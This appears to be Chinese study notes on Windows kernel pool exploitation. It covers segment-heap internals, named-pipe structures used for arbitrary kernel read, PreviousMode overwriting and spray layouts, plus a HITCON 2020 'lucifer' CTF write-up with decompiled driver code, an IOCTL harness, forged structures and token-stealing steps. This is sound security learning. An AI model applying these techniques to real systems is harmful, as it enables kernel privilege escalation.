0x4e1e [Type: unsigned long ] [+0x004 (23 :16 )] Allocated : 0xa7 [Type: unsigned long ] [+0x000 ] KeyUShort : 0x7045 [Type: unsigned short ] [+0x000 ] KeyULong : 0x7e507045 [Type: unsigned long ] [+0x000 ] HeaderBits : 0x88a74e1e7e507045 [Type: unsigned __int64]
在内部,VS分配器使用段分配器。它通过_HEAP_VS_CONTXT
中的_HEAP_SUBALLOCATOR_CALLBACKS
字段在RtlpHpVsSubsegmentCreate
中使用。子分配器回调函数都与VS上下文和RtlpHpHeapGlobals地址进行异或 。
1 2 3 4 5 callbacks.Allocate = RtlpHpSegVsAllocate; callbacks.Free = RtlpHpSegLfhVsFree; callbacks.Commit = RtlpHpSegLfhVsCommit; callbacks.Decommit = RtlpHpSegLfhVsDecommit; callbacks.ExtendContext = NULL ;
Low Fragmentation Heap Backend Low Fragmentation Heap Backend是一个后端,专门为从1B ~ 512 B 分配。LFH后端上下文存储在_HEAP_LFH_CONTEXT的结构体中。LFH后端的主要特点是使用不同大小的bucket来避免碎片化
1 2 3 4 5 6 7 8 9 10 11 0 : kd > dt nt! _HEAP_LFH_CONTEXT+0 x000 BackendCtx : Ptr64 Void +0 x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS +0 x030 AffinityModArray : Ptr64 UChar +0 x038 MaxAffinity : UChar +0 x039 LockType : UChar +0 x03a MemStatsOffset : Int2B +0 x03c Config : _RTL_HP_LFH_CONFIG +0 x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS +0 x048 SubsegmentCreationLock : Uint8B +0 x080 Buckets : [129 ] Ptr64 _HEAP_LFH_BUCKET
缓存对齐 随着内核层堆分配器的更新,_POOL_HEADER
的大部分字段都是无用的
但是PoolTag和PoolType都是比较重要的
调用了ExAllocatePoolWithTag时,如果PoolType设置了CacheAligned,那么返回的内存将是与缓存行大小对齐的,这个值取决于cpu,通常为0x40。
1 2 PagedPoolCacheAligned = 0 n5 NonPagedPoolCacheAligned = 0 n4
如果分配的地址没有正确的对齐,那么块可能会有两个headers。
Generic Exploitation 堆溢出,幽灵块,这里介绍了的攻击方式,都是NamedPipe,分别在PagedPool和NonPagedPool中
PipeAttribute BigPool: 分配必须足够大(x64上为4064+字节)才能在大池中处理
论文中介绍了PagedPool的比较好用的任意读写的方法:PipeAttribute
1 2 3 4 5 6 7 8 struct PipeAttribute { LIST_ENTRY list; char *AttributeName; uint64_t AttributeValueSize; char *AttributeValue; char data[0 ]; };
分配的大小和数据完全由攻击者控制。AttributeName
和AttributeValue
是指向数据字段的不同偏移的指针。 可以使用NtFsControlFile
系统调用和0x11003C
控制码在管道上创建管道属性,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HANDLE read_pipe; HANDLE write_pipe; char attribute[] = " attribute_name \00 attribute_value " ;char output[0x100 ];CreatePipe (read_pipe, write_pipe, NULL , bufsize);NtFsControlFile (write_pipe, NULL , NULL , NULL , &status, 0x11003C , attribute, sizeof (attribute), output, sizeof (output));
然后可以使用0x110038
控制码读取属性的值。AttributeValue
指针和AttributeValueSize
将用于读取属性的值并将其返回给用户。属性的值可以更改,但这将触发先前PipeAttribute
的释放和新分配。
这意味着如果攻击者能够控制PipeAttribute
的AttributeValue
和AttributeValueSize
字段,它可以在内核中读取任意数据,但不能任意写入。该对象还可以用于在内核中放置任意数据。这意味着它可以用于重新分配易受攻击块并控制幽灵块的内容。
NpFr WriteFile写NamedPipe会获得chunk,也是可以造成任意读,只要能控制Irp
和isDataInKernel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct PipeQueueEntry { LIST_ENTRY list; IRP *linkedIRP; __int64 SecurityClientContext; int isDataInKernel; int remaining_bytes__; int DataSize; int field_2C; char data[1 ]; }; if (PipeQueueEntry->isDataAllocated == 1 ) data_ptr = (PipeQueueEntry->linkedIRP->SystemBuffer); else data_ptr = PipeQueueEntry->data; [...] memmove ((void *)(dst_buf + dst_len - cur_read_offset), &data_ptr[PipeQueueEntry->DataSize - cur_entry_offset], copy_size);
spray 为了获得第所需的内存布局,需要进行一些spray。spray取决于易受攻击的块的大小,因为它将最终分配到不同的分配后端。
为了简化spray过程,可以确保相应的lookaside
为空。分配超过256个相同大小的块将确保这一点。
如果易受攻击的块小于0x200,则它将位于LFH(低碎片化堆)后端。然后,spray应该使用完全相同大小的块进行,对应桶的粒度取模,以确保它们都从同一个桶中分配。当请求分配时,LFH后端将按照最多32个块的组进行扫描BlockBitmap
,并随机选择一个空闲块。在易受攻击的块分配之前和之后分配超过32个块应有助于打败随机化。
如果易受攻击的块大于0x200
但小于0x10000
,则它将位于可变大小(Variable Size)后端。然后,spray应该使用与易受攻击的块大小相等的大小进行。较大的块可能会被拆分,从而导致喷洒失败。首先,分配数千个所选大小的块,以确保首先将FreeChunkTree
中大于所选大小的所有块清空,然后分配器将分配一个新的0x10000
字节的VS子段并将其放入FreeChunkTree
中。然后分配另外数千个块,它们将最终位于新的大空闲块中,从而连续。然后释放最后分配块的三分之一,以填充FreeChunkTree
。只释放三分之一将确保不会合并任何块。然后让易受攻击的块分配。
最后,可以重新分配已释放的块以最大化喷洒机会。
由于完整的利用技术需要释放和重新分配易受攻击的块和幽灵块,为了方便释放块的恢复,启用相应的动态lookaside
非常有趣。为此,一个简单的解决方案是分配数千个相应大小的块,等待2秒钟,然后再分配数千个块并等待1秒钟。这样,我们可以确保平衡集管理器已经重新平衡了相应的lookaside
。分配数千个块确保lookaside
将成为最常用的lookaside
,并且将被启用,并且还确保它在其中有足够的空间。
IO Ring win11不错的漏洞利用对象。
复现了相关CVE:CVE-2023-21768 Proof of Concept
PreviousMode 修改_KTHREAD.PreviousMode
字段。
用户态程序调用系统的 Nt 或 Zw 时,系统调用机制会将调用线程捕获到内核模式。 为了标识参数源自用户模式,系统调用的处理程序将调用方线程对象中的 PreviousMode 字段设置为 UserMode。
而内核态程序调用系统例程并将参数值传递给来自内核态的例程,当前线程对象中的 PreviousMode 字段应为 KernelMode。
系统会检查调用线程的 PreviousMode 字段。这样通过参数就可以知道是来自用户态还是内核态了。
所以当 PreviousMode 设置为 1 时,来自用户空间的NT 或 Zw 版本函数调用将其中进行地址验证。在这种情况下,对内核内存的任意写将失败,因为此时PreviousMode是用户态的状态。当 PreviousMode 设置为 0 (此时是内核态) 时,将跳过地址验证写入任意内核内存地址,从而完成提权。
当我们替换PreviousMode
为0
后,这意味着我们可以使用NtWriteVirtualMemory
在整个内核内存中进行不受约束的RW。
NtReadVirtualMemory
和 NtWriteVirtualMemory
调用函数相同(MiReadWriteVirtualMemory
),因此在一定方面 NtWriteVirtualMemory 也可以任意读
New ExAllocatePool2 和 ExAllocatePool3 ,在低版本的Windows系统中会导致无法加载驱动🤣
1 2 3 4 5 6 7 8 9 10 11 12 DECLSPEC_RESTRICT PVOID ExAllocatePool2 ( POOL_FLAGS Flags, SIZE_T NumberOfBytes, ULONG Tag ) ;PVOID Allocation = ExAllocatePoolWithTag (PagedPool, 100 , 'abcd' ); RtlZeroMemory (Allocation, 100 );PVOID Allocation = ExAllocatePool2 (POOL_FLAG_PAGED, 100 , 'abcd' );
NPFS.SYS named pipe file system,常见的结构体
这一篇文章:新型Windows内核池风水利用工具研究
DATA_QUEUE_ENTRY Queue: 双向链表
SecurityContext
1 2 3 4 5 6 7 nt!_SECURITY_CLIENT_CONTEXT +0x000 SecurityQos : _SECURITY_QUALITY_OF_SERVICE +0x010 ClientToken : Ptr64 Void +0x018 DirectlyAccessClientToken : UChar +0x019 DirectAccessEffectiveOnly : UChar +0x01a ServerIsRemote : UChar +0x01c ClientTokenControl : _TOKEN_CONTROL
EntryType
Buffered Entries:这个值为0,当调用ReadFile时从DATA_QUEUE_ENTRY.data
读取数据
Unbuffered Entries: 值为1,当调用ReadFile时从DATA_QUEUE_ENTRY.Irp->AssociatedIrp.SystemBuffer
读取数据
QuotaInEntry : 被消耗
buffered entries,:开始是DataSize,每当读取一次,就会较少,直到0
unbuffered entries:0
DataSize : user data的长度
x: padding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 typedef struct _DATA_QUEUE_ENTRY { LIST_ENTRY Queue; _IRP* Irp; _SECURITY_CLIENT_CONTEXT* SecurityContext; int EntryType; int QuotaInEntry; int DataSize; int x; } DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY; typedef struct _NP_DATA_QUEUE { LIST_ENTRY Queue; ULONG QueueState; ULONG BytesInQueue; ULONG EntriesInQueue; ULONG QuotaUsed; ULONG ByteOffset; ULONG Quota; } NP_DATA_QUEUE, *PNP_DATA_QUEUE; BOOL CreatePipe ( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [in] DWORD nSize ) ;
通过CreatePipe
创建命名管道文件对象,文件实例绑定了一个名为NP_DATA_QUEUE类型的队列对象
CreatePipe的参数nSize指定了当前pipe的最大容量或者说是允许最大缓冲区长度,每对pipe进行一次读写操作就会增加一个DATA_QUEUE_ENTRY。
若干次写可以对应若干次读,当存在读数据的请求时irp就会挂起,直到写入请求的数据量达到读取请求的数据量才会完成整个读取irp请求,比如说pipe的容量是1000,第一次写了1000的数据,这个写请求会返回,第二次又写了1000数据那么这个请求就一直挂起,直到读取了1000数据后,最后写入的数据小于或等于pipe的容量,后面写请求才会返回.
npfs!NpAddDataQueueEntry 可以下断点😋
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #define POOL_FLAG_REQUIRED_START 0x0000000000000001UI64 #define POOL_FLAG_USE_QUOTA 0x0000000000000001UI64 #define POOL_FLAG_NON_PAGED 0x0000000000000040UI64 if ( !a5 ) { v14 = 48 ; if ( a4 ) { v14 = Size + 0x30 ; if ( (int )Size + 0x30 < (unsigned int )Size ) { NpFreeClientSecurityContext (v12); return 0xC000000D i64; } } v24 = *(_DWORD *)(a3 + 28 ) - *(_DWORD *)(a3 + 32 ); v15 = Size - a9; if ( v24 < (int )Size - a9 ) v15 = *(_DWORD *)(a3 + 28 ) - *(_DWORD *)(a3 + 32 ); v26 = v15; if ( v14 == 0x30 && _interlockedbittestandreset((volatile signed __int32 *)(a3 + 40 ), 0 ) ) v16 = *(_QWORD *)(a3 + 40 ); else v16 = 0 i64; if ( v16 ) goto LABEL_14; v16 = ExAllocatePool2 (0x41 i64, v14, 'rFpN' ); if ( v16 ) { v15 = v26; LABEL_14: *(_DWORD *)(v16 + 36 ) = v15; *(_QWORD *)(v16 + 16 ) = v13; *(_DWORD *)(v16 + 32 ) = 0 ; *(_QWORD *)(v16 + 24 ) = v12; *(_DWORD *)(v16 + 40 ) = Size; if ( a4 ) { if ( v13 ) v22 = *(const void **)(v13 + 112 ); else v22 = a8; memmove ((void *)(v16 + 48 ), v22, (unsigned int )Size); if ( v24 < (int )Size - a9 && v13 ) { v17 = 259 ; } else { *(_QWORD *)(v16 + 16 ) = 0 i64; v17 = 0 ; } } else { v17 = 259 ; } goto LABEL_16; } LABEL_51: NpFreeClientSecurityContext (v12); return 3221225626 i64; }
NonPagedPool Overflow Windows-Non-Paged-Pool-Overflow-Exploitation
有源码以及详细的利用手法。
溢出覆盖一字节,也分别给出两种利用手段的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 NTSTATUS Al20c (size_t Size) { char * buf = (char *)ExAllocatePoolWithTag (NonPagedPoolNx, Size, 'AAAA' ); for (int i = 0 ; i <= Size && buf; i++) buf[i] = ' ' ; return STATUS_SUCCESS; } NTSTATUS All0c (size_t Size) { char * buf = (char *)ExAllocatePoolWithTag (NonPagedPoolNx, Size, 'AAAA' ); for (int i = 0 ; i <= Size && buf; i++) buf[i] = 0 ; return STATUS_SUCCESS; }
展示如何创建unbuffered pipe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __kernel_entry NTSYSCALLAPI NTSTATUS NtFsControlFile ( [in] HANDLE FileHandle, [in, optional] HANDLE Event, [in, optional] PIO_APC_ROUTINE ApcRoutine, [in, optional] PVOID ApcContext, [out] PIO_STATUS_BLOCK IoStatusBlock, [in] ULONG FsControlCode, [in, optional] PVOID InputBuffer, [in] ULONG InputBufferLength, [out, optional] PVOID OutputBuffer, [in] ULONG OutputBufferLength ) ;NtFsControlFile (pipe_handle, 0 , 0 , 0 , &isb, 0x119FF8 , buf, sz, 0 , 0 );
溢出数据足够多 可以控制整个 DATA_QUEUE_ENTRY
IRP任意读
1 2 3 4 5 6 7 8 9 10 DATA_QUEUE_ENTRY: NextEntry=whatever; Irp=Forged IRP Address; SecurityContext=ideally 0 ; EntryType=1 ; QuotaInEntry=ideally 0 ; DataSize=arbitrary read size; x=whatever; IRP->SystemBuffer = arbitrary read address
修改DataSize越界读
1 2 3 4 5 6 7 8 DATA_QUEUE_ENTRY: NextEntry=whatever; Irp=ideally 0 ; SecurityContext=ideally 0 ; EntryType=0 ; QuotaInEntry=ideally 0 ; DataSize=something bigger than the original size; x=whatever;
相关利用:HITCON 2020 lucifer
溢出长度比较小 结构体第一个元素Queue,是一个双向链表
1 2 3 4 typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
这样是可以修改链表的指向,指向其余的DATA_QUEUE_ENTRY,但是windows存在安全机制,检查entry->Flink->Blink!=entry
我们可以使用PeekNamedPipe
读取而不释放
overflow->任意地址写 1字节溢出
HITCON 2020 lucifer lucifer :Windows 10 Pro 20H2,一个非常低的权限运行 cmd.exe
OOB write,angleboy还带有相关PPT,看PPT
四个功能,经典菜单堆
首先是Create:在NonPagedPoolNx创建0x400大小的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 case 0x222000 u: DbgPrint ("Create\n" ); v8 = sub_1400051DC (); goto LABEL_16; __int64 sub_1400051DC () { unsigned int v0; PVOID PoolWithTag; v0 = 0 ; PoolWithTag = Destination; if ( !Destination ) { PoolWithTag = ExAllocatePoolWithTag ((POOL_TYPE)512 , 0x400 ui64, 0x6963754C u); Destination = PoolWithTag; } if ( !PoolWithTag ) v0 = 0xC0000017 ; RtlZeroMemory (PoolWithTag, 0 i64, 1024 i64); return v0; }
ADD: system buffer 是我们传递的参数,可以看出来是个赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 case 0x222004 u: DbgPrint ("ADD\n" ); if ( SystemBuffer && InputBufferLength >= 0x18 ) { v11 = SystemBuffer[2 ]; v13 = *(_OWORD *)SystemBuffer; v14 = v11; v8 = sub_140001028 (&v13); goto LABEL_16; } __int64 __fastcall sub_140001028 (_QWORD *a1) { __int64 result; result = 0 i64; if ( !Destination || a1[1 ] != 0xDADADDAA i64 ) result = 0xC0000022 i64; *((_QWORD *)Destination + *a1) = a1[2 ]; return result; }
GET:读取内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 case 0x222008 u: DbgPrint ("GET\n" ); if ( SystemBuffer && OutputBufferLength >= 0x18 && InputBufferLength >= 0x18 ) { v9 = SystemBuffer[2 ]; v13 = *(_OWORD *)SystemBuffer; v14 = v9; v8 = sub_14000107C (&v13); v10 = v14; *(_OWORD *)SystemBuffer = v13; SystemBuffer[2 ] = v10; a2->IoStatus.Information = 24 i64; goto LABEL_16; } __int64 __fastcall sub_14000107C (_QWORD *a1) { unsigned int v1; v1 = 0 ; if ( !Destination || a1[1 ] != 3671776682 i64 ) v1 = -1073741790 ; if ( *a1 < 0x80 ui64 ) { a1[2 ] = *((_QWORD *)Destination + *a1); a1[1 ] = 3735928559 i64; } return v1; }
Release,free掉chunk
1 2 3 4 5 6 7 8 9 10 case 0x22200C u: DbgPrint ("Release\n" ); v8 = sub_1400010E0 (); __int64 sub_1400010E0 () { if ( Destination ) ExFreePoolWithTag (Destination, 0x6963754C u); Destination = 0 i64; return 0 i64; }
漏洞点:ADD,有一个越界写。
WritePipe在内核态调用了
1 ExAllocatePoolWithTag (NonpagedPoolNx, sizeof (payload)+0x30 , tag)
每次写pipe,内核态会添加一个DATA_QUEUE_ENTRY
。
1 2 3 4 5 6 7 8 9 typedef struct _DATA_QUEUE_ENTRY { LIST_ENTRY Queue; _IRP* Irp; __int64 SecurityContext; int EntryType; int QuotaInEntry; int DataSize; int x; } DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY;
存在一点Debug信息,我们先查看获得对象的大小:0x440, 同时 !pool
命令显示 pool header地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0 : kd> lm m Luc*Browse full module list start end module namefffff800`40 b70000 fffff800`40 b78000 Lucifer (deferred) 0 : kd> ba e1 fffff800`40 b70000+0 x52000 : kd> g1 : kd> pLucifer+0 x5206: fffff800`40 b75206 48890513 deffff mov qword ptr [Lucifer+0 x3020 (fffff800`40 b73020)],rax 1 : kd> r raxrax=ffff9a882f51c460 1 : kd> !pool ffff9a882f51c460Pool page ffff9a882f51c460 region is Nonpaged pool ffff9a882f51c000 size: 440 previous size: 0 (Allocated) RLin *ffff9a882f51c450 size: 440 previous size: 0 (Allocated) *Luci Owning component : Unknown (update pooltag.txt) ffff9a882f51c8b0 size: 440 previous size: 0 (Allocated) Viaa ffff9a882f51cd10 size: 220 previous size: 0 (Allocated) AleP ffff9a882f51cf30 size: b0 previous size: 0 (Free) Y..=
往里面写0x400个内容,0x440 = 0x10 pool header + 0x400 chunk + 0x30 padding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 : kd> !pool FFFFA489243E4A20unable to get nt!PspSessionIdBitmap Pool page ffffa489243e4a20 region is Nonpaged pool ffffa489243e4000 size: a00 previous size: 0 (Allocated) Thre *ffffa489243e4a10 size: 440 previous size: 0 (Allocated) *Luci Owning component : Unknown (update pooltag.txt) ffffa489243e4e50 size: 190 previous size: 0 (Free) .l.: 0 : kd> dq FFFFA489243E4A20 L88ffffa489`243e4 a20 00000000 `deadbeef 00000000 `deadbeef # ... ffffa489`243e4 e10 00000000 `deadbeef 00000000 `deadbeef ffffa489`243e4 e20 00000000 `00000000 00000000 `00000000 ffffa489`243e4 e30 00000000 `00000000 00000000 `00000000 ffffa489`243e4 e40 00000000 `00000000 00000000 `00000000 ffffa489`243e4 e50 ba816c05`08f 395a9 00000000 `00000000
用于调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int main () { HANDLE hDevice; DWORD dwRet; BOOL stat; hDevice = CreateFileW ( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { std::cout << "[-] Error CreateFileW" << std::endl; exit (EXIT_FAILURE); } stat = DeviceIoControl ( hDevice, 0x222000 , NULL , 0 , NULL , 0 , &dwRet, NULL ); if (!stat) { std::cout << "[-] Error DeviceIoControl" << std::endl; } UINT64 data[3 ]; data[1 ] = 0xDADADDAA ; for (int i = 0 ; i < 0x80 ; i++) { data[0 ] = i; data[2 ] = 0xdeadbeef ; stat = DeviceIoControl ( hDevice, 0x222004 , &data, sizeof (data), NULL , 0 , &dwRet, NULL ); } std::cout << "[+] ADD Done" << std::endl; getchar (); stat = DeviceIoControl ( hDevice, 0x22200 , NULL , 0 , NULL , 0 , &dwRet, NULL ); CloseHandle (hDevice); return EXIT_SUCCESS; }
布局堆风水
一种堆喷方式:切割
两个chunk: 0x800 + 0x7c0
0x800 切割成一个漏洞对象,另一个是pipe
概率出现想要的风水
还可以使用论文中的方式
首先,分配上千个选中大小的块,以确保首先清空FreeChunkTree中所有大于所选大小的块.
然后,分配器将分配0x10000字节的新VS字段,并将其放入FreeChunkTree.
然后再分配几千个分块,这些分块最终会进入新的大空闲分块,因此是连续的,然后释放最后分配的块的3分之1,用于填充FreeChunkTree,只是放3分之1将确保不会有数据块合并,最后重新分配已释放的数据块,以最大限度增加喷射机会.
理想是得到这样的堆布局
1 2 3 4 5 6 7 4 : kd> !pool FFFF8981621A6010unable to get nt!PspSessionIdBitmap Pool page ffff8981621a6010 region is Nonpaged pool *ffff8981621a6000 size: 440 previous size: 0 (Allocated) *Luci Owning component : Unknown (update pooltag.txt) ffff8981621a6450 size: 440 previous size: 0 (Allocated) NpFr Process: ffff898162043080 ffff8981621a68a0 size: 440 previous size: 0 (Allocated) NpFr Process: ffff898162043080
查看pipe,header
1 2 3 4 5 6 7 8 9 4 : kd> dq ffff8981621a6450ffff8981`621 a6450 7246704 e`0 a446f00 f7ca3fb8`9f 7f4811 ffff8981`621 a6460 ffffcc05`0f d259b8 ffffcc05`0f d259b8 ffff8981`621 a6470 00000000 `00000000 ffffcc05`10 a100f0 ffff8981`621 a6480 000003 d0`00000000 00000000 `000003 d0 ffff8981`621 a6490 43434343 `43434343 43434343 `43434343 ffff8981`621 a64a0 43434343 `43434343 43434343 `43434343 ffff8981`621 a64b0 43434343 `43434343 43434343 `43434343 ffff8981`621 a64c0 43434343 `43434343 43434343 `43434343
越界写入
1 2 3 4 5 6 7 8 9 1 : kd> dq ffff8387c055d450ffff8387`c055d450 7246704 e`0 a440000 330b b4ed`16b fc9f1 ffff8387`c055d460 ffffc288`07372b d8 ffffc288`07372b d8 ffff8387`c055d470 00000000 `00000000 ffffc288`05794910 ffff8387`c055d480 00000000 `deadbeef 00000000 `000003 d0 ffff8387`c055d490 43434343 `43434343 43434343 `43434343 ffff8387`c055d4a0 43434343 `43434343 43434343 `43434343 ffff8387`c055d4b0 43434343 `43434343 43434343 `43434343 ffff8387`c055d4c0 43434343 `43434343 43434343 `43434343
读取pipe而且不free掉chunk,可以使用
1 2 3 4 5 6 7 8 BOOL PeekNamedPipe ( [in] HANDLE hNamedPipe, [out, optional] LPVOID lpBuffer, [in] DWORD nBufferSize, [out, optional] LPDWORD lpBytesRead, [out, optional] LPDWORD lpTotalBytesAvail, [out, optional] LPDWORD lpBytesLeftThisMessage ) ;
修改DataSize越界读取,泄露nt的基址,从而可以bypass kaslr
Page segment = PipeQueueEntry & 0xfffffffffff00000 (Segment mask)
Signature of Page segment = readmem(Page segment + 0x10)
Segcontext = (Page segment) ^ (Signature of Page segment) ^ RtlpHpHeapGlobals.HeapKey ^ 0xA2E64EADA2E64EAD
Segment heap = Segcontext - 0x100
callback function: Segment heap->VsContext,RtlpHpHeapGlobals.HeapKey ^ encode data ^ VsContext address
任意地址读取:EntryType 为unbuffer时可以读取Irp,而这个Irp可以伪造
提权:我们可以读取system的token值,然后根据驱动的任意写写入当前进程
API 前缀 代表着Windows native(原生)系统服务(system services)例程(routines)。
Ke - kernel的缩写,代表的是内核模式的API接口。
Nt - Windows New Technology的缩写,代表的是 Windows 系统服务功能API接口。 大部分以Nt开头的函数,都映射到了用户态(User Mode)API接口。比如你编写的用户模式程序,用到了CreateFile这个函数,由于它需要访问系统内部的数据结构,必须要进入内核模式,这时的程序就要转入内核模式,相对应的内核模式功能服务接口,正是ntdll.dll中的NtCreateFile,它最终完成来自用户态程序的函数功能请求。
Zw - 没有具体的缩写含义,只是为了避免和其它前缀的重复。它的功能和与之相对应的Nt函数是一致的(可以说是Nt功能的镜像)。 不同点在于: 相应的Nt函数,是对系统服务的直接;而Zw需要经过一系列系统准备动作,比如:系统服务码入寄存器保存,系统KiSystemService加载,然后才执行具体的服务功能调用。 看着负担加重了,但好处是,在执行时,系统参数的系列校验不必再进行了(拜所谓的previous access mode之赐),所以反而轻快了;而Nt系列函数虽然调用时简洁,但每一次执行都要参数校验,因此反而累赘了。这也正是内核态程序(比如驱动程序)多用Zw系统的原因(因为需要和previous mode打交道)。
reference